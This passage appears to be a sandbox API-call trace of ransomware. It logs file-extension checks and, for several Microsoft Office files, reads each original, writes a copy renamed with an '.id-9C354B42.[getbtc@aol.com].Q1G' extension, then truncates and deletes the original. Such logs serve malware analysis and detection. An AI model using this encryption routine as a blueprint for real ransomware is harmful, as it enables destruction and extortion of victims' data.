(lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54 [0261.435] lstrlenW (lpString=".1cd") returned 4 [0261.435] lstrcmpiW (lpString1=".1cd", lpString2=".LNG") returned -1 [0261.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54 [0261.435] lstrlenW (lpString=".jpg") returned 4 [0261.435] lstrcmpiW (lpString1=".jpg", lpString2=".LNG") returned -1 [0261.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54 [0261.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54 [0261.435] lstrlenW (lpString=".doc") returned 4 [0261.435] lstrcmpiW (lpString1=".doc", lpString2=".LNG") returned -1 [0261.435] lstrlenW (lpString=".docx") returned 5 [0261.435] lstrcmpiW (lpString1=".docx", lpString2="H.LNG") returned -1 [0261.435] lstrlenW (lpString=".pdf") returned 4 [0261.435] lstrcmpiW (lpString1=".pdf", lpString2=".LNG") returned 1 [0261.435] lstrlenW (lpString=".xls") returned 4 [0261.435] lstrcmpiW (lpString1=".xls", lpString2=".LNG") returned 1 [0261.435] lstrlenW (lpString=".xlsx") returned 5 [0261.435] lstrcmpiW (lpString1=".xlsx", lpString2="H.LNG") returned -1 [0261.435] lstrlenW (lpString=".ppt") returned 4 [0261.435] lstrcmpiW (lpString1=".ppt", lpString2=".LNG") returned 1 [0261.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54 [0261.435] lstrlenW (lpString=".zip") returned 4 [0261.435] lstrcmpiW (lpString1=".zip", lpString2=".LNG") returned 1 [0261.435] lstrlenW (lpString=".rar") returned 4 [0261.435] lstrcmpiW (lpString1=".rar", lpString2=".LNG") returned 1 [0261.435] lstrlenW (lpString=".bz2") returned 4 [0261.435] lstrcmpiW (lpString1=".bz2", lpString2=".LNG") returned -1 [0261.435] lstrlenW (lpString=".7z") returned 3 [0261.435] lstrcmpiW (lpString1=".7z", lpString2="LNG") returned -1 [0261.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54 [0261.435] lstrlenW (lpString=".dbf") returned 4 [0261.435] lstrcmpiW (lpString1=".dbf", lpString2=".LNG") returned -1 [0261.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54 [0261.435] lstrlenW (lpString=".1cd") returned 4 [0261.435] lstrcmpiW (lpString1=".1cd", lpString2=".LNG") returned -1 [0261.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54 [0261.436] lstrlenW (lpString=".jpg") returned 4 [0261.436] lstrcmpiW (lpString1=".jpg", lpString2=".LNG") returned -1 [0261.436] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0261.436] lstrlenW (lpString="FORM.DLL") returned 8 [0261.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\form.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0261.442] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=239488) returned 1 [0261.442] CloseHandle (hObject=0x39c) returned 1 [0261.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\form.dll")) returned 0x20 [0261.457] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\form.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\form.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL") returned 51 [0261.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL") returned 51 [0261.504] lstrlenW (lpString=".doc") returned 4 [0261.504] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0261.504] lstrlenW (lpString=".docx") returned 5 [0261.504] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1 [0261.504] lstrlenW (lpString=".pdf") returned 4 [0261.504] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0261.504] lstrlenW (lpString=".xls") returned 4 [0261.504] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0261.504] lstrlenW (lpString=".xlsx") returned 5 [0261.504] lstrcmpiW (lpString1=".xlsx", lpString2="M.DLL") returned -1 [0261.504] lstrlenW (lpString=".ppt") returned 4 [0261.504] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0261.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL") returned 51 [0261.504] lstrlenW (lpString=".zip") returned 4 [0261.504] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0261.504] lstrlenW (lpString=".rar") returned 4 [0261.504] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0261.504] lstrlenW (lpString=".bz2") returned 4 [0261.504] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0261.504] lstrlenW (lpString=".7z") returned 3 [0261.504] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0261.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL") returned 51 [0261.505] lstrlenW (lpString=".dbf") returned 4 [0261.505] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0261.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL") returned 51 [0261.505] lstrlenW (lpString=".1cd") returned 4 [0261.505] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0261.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL") returned 51 [0261.505] lstrlenW (lpString=".jpg") returned 4 [0261.505] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0261.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL") returned 51 [0261.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL") returned 51 [0261.505] lstrlenW (lpString=".doc") returned 4 [0261.505] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0261.505] lstrlenW (lpString=".docx") returned 5 [0261.505] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1 [0261.505] lstrlenW (lpString=".pdf") returned 4 [0261.505] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0261.505] lstrlenW (lpString=".xls") returned 4 [0261.505] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0261.505] lstrlenW (lpString=".xlsx") returned 5 [0261.505] lstrcmpiW (lpString1=".xlsx", lpString2="M.DLL") returned -1 [0261.505] lstrlenW (lpString=".ppt") returned 4 [0261.505] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0261.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL") returned 51 [0261.505] lstrlenW (lpString=".zip") returned 4 [0261.505] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0261.506] lstrlenW (lpString=".rar") returned 4 [0261.506] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0261.506] lstrlenW (lpString=".bz2") returned 4 [0261.506] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0261.506] lstrlenW (lpString=".7z") returned 3 [0261.506] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0261.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL") returned 51 [0261.506] lstrlenW (lpString=".dbf") returned 4 [0261.506] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0261.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL") returned 51 [0261.506] lstrlenW (lpString=".1cd") returned 4 [0261.506] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0261.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL") returned 51 [0261.506] lstrlenW (lpString=".jpg") returned 4 [0261.506] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0261.506] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0261.506] lstrlenW (lpString="ACTIVITS.ICO") returned 12 [0261.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activits.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0261.507] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=2998) returned 1 [0261.507] CloseHandle (hObject=0x1b8) returned 1 [0261.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activits.ico")) returned 0x20 [0261.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activits.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activits.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0261.507] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.507] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activits.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0261.508] GetLastError () returned 0x0 [0261.508] ReadFile (in: hFile=0x1b8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0261.512] WriteFile (in: hFile=0x3c4, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0261.516] ReadFile (in: hFile=0x1b8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0261.516] WriteFile (in: hFile=0x3c4, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xec, lpOverlapped=0x0) returned 1 [0261.517] SetEndOfFile (hFile=0x3c4) returned 1 [0261.517] CloseHandle (hObject=0x3c4) returned 1 [0261.517] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.517] SetEndOfFile (hFile=0x1b8) returned 1 [0261.520] CloseHandle (hObject=0x1b8) returned 1 [0261.520] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.542] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activits.ico")) returned 1 [0261.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66 [0261.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66 [0261.543] lstrlenW (lpString=".doc") returned 4 [0261.543] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0261.543] lstrlenW (lpString=".docx") returned 5 [0261.543] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0261.543] lstrlenW (lpString=".pdf") returned 4 [0261.543] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0261.543] lstrlenW (lpString=".xls") returned 4 [0261.543] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0261.543] lstrlenW (lpString=".xlsx") returned 5 [0261.543] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0261.543] lstrlenW (lpString=".ppt") returned 4 [0261.543] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0261.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66 [0261.543] lstrlenW (lpString=".zip") returned 4 [0261.543] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0261.543] lstrlenW (lpString=".rar") returned 4 [0261.543] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0261.543] lstrlenW (lpString=".bz2") returned 4 [0261.543] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0261.544] lstrlenW (lpString=".7z") returned 3 [0261.544] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0261.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66 [0261.544] lstrlenW (lpString=".dbf") returned 4 [0261.544] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0261.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66 [0261.544] lstrlenW (lpString=".1cd") returned 4 [0261.544] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0261.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66 [0261.544] lstrlenW (lpString=".jpg") returned 4 [0261.544] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0261.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66 [0261.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66 [0261.544] lstrlenW (lpString=".doc") returned 4 [0261.544] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0261.544] lstrlenW (lpString=".docx") returned 5 [0261.544] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0261.544] lstrlenW (lpString=".pdf") returned 4 [0261.544] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0261.544] lstrlenW (lpString=".xls") returned 4 [0261.544] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0261.544] lstrlenW (lpString=".xlsx") returned 5 [0261.544] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0261.544] lstrlenW (lpString=".ppt") returned 4 [0261.544] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0261.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66 [0261.544] lstrlenW (lpString=".zip") returned 4 [0261.544] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0261.544] lstrlenW (lpString=".rar") returned 4 [0261.544] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0261.544] lstrlenW (lpString=".bz2") returned 4 [0261.544] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0261.544] lstrlenW (lpString=".7z") returned 3 [0261.544] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0261.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66 [0261.544] lstrlenW (lpString=".dbf") returned 4 [0261.545] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0261.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66 [0261.545] lstrlenW (lpString=".1cd") returned 4 [0261.545] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0261.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66 [0261.545] lstrlenW (lpString=".jpg") returned 4 [0261.545] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0261.545] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0261.545] lstrlenW (lpString="APPTL.ICO") returned 9 [0261.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\apptl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0261.571] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=1078) returned 1 [0261.571] CloseHandle (hObject=0x37c) returned 1 [0261.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\apptl.ico")) returned 0x20 [0261.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\apptl.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\apptl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0261.886] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.886] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\apptl.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0261.887] GetLastError () returned 0x0 [0261.887] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x436, lpOverlapped=0x0) returned 1 [0261.932] WriteFile (in: hFile=0x3a0, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x440, lpOverlapped=0x0) returned 1 [0261.933] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0261.933] WriteFile (in: hFile=0x3a0, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0261.933] SetEndOfFile (hFile=0x3a0) returned 1 [0261.934] CloseHandle (hObject=0x3a0) returned 1 [0261.934] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.934] SetEndOfFile (hFile=0x1f8) returned 1 [0261.936] CloseHandle (hObject=0x1f8) returned 1 [0261.936] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.936] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\apptl.ico")) returned 1 [0261.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63 [0261.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63 [0261.936] lstrlenW (lpString=".doc") returned 4 [0261.937] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0261.937] lstrlenW (lpString=".docx") returned 5 [0261.937] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0261.937] lstrlenW (lpString=".pdf") returned 4 [0261.937] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0261.937] lstrlenW (lpString=".xls") returned 4 [0261.937] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0261.937] lstrlenW (lpString=".xlsx") returned 5 [0261.937] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0261.937] lstrlenW (lpString=".ppt") returned 4 [0261.937] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0261.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63 [0261.937] lstrlenW (lpString=".zip") returned 4 [0261.937] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0261.937] lstrlenW (lpString=".rar") returned 4 [0261.937] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0261.937] lstrlenW (lpString=".bz2") returned 4 [0261.937] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0261.937] lstrlenW (lpString=".7z") returned 3 [0261.937] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0261.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63 [0261.937] lstrlenW (lpString=".dbf") returned 4 [0261.937] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0261.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63 [0261.937] lstrlenW (lpString=".1cd") returned 4 [0261.937] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0261.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63 [0261.937] lstrlenW (lpString=".jpg") returned 4 [0261.937] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0261.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63 [0261.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63 [0261.937] lstrlenW (lpString=".doc") returned 4 [0261.937] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0261.937] lstrlenW (lpString=".docx") returned 5 [0261.937] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0261.937] lstrlenW (lpString=".pdf") returned 4 [0261.938] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0261.938] lstrlenW (lpString=".xls") returned 4 [0261.938] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0261.938] lstrlenW (lpString=".xlsx") returned 5 [0261.938] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0261.938] lstrlenW (lpString=".ppt") returned 4 [0261.938] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0261.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63 [0261.938] lstrlenW (lpString=".zip") returned 4 [0261.938] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0261.938] lstrlenW (lpString=".rar") returned 4 [0261.938] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0261.938] lstrlenW (lpString=".bz2") returned 4 [0261.938] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0261.938] lstrlenW (lpString=".7z") returned 3 [0261.938] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0261.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63 [0261.938] lstrlenW (lpString=".dbf") returned 4 [0261.938] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0261.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63 [0261.938] lstrlenW (lpString=".1cd") returned 4 [0261.938] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0261.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63 [0261.938] lstrlenW (lpString=".jpg") returned 4 [0261.938] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0261.938] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0261.938] lstrlenW (lpString="EXITEMS.ICO") returned 11 [0261.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitems.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0261.939] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=2998) returned 1 [0261.939] CloseHandle (hObject=0x1f8) returned 1 [0261.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitems.ico")) returned 0x20 [0261.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitems.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO" (normalized: "c:\\program files\\microsoft 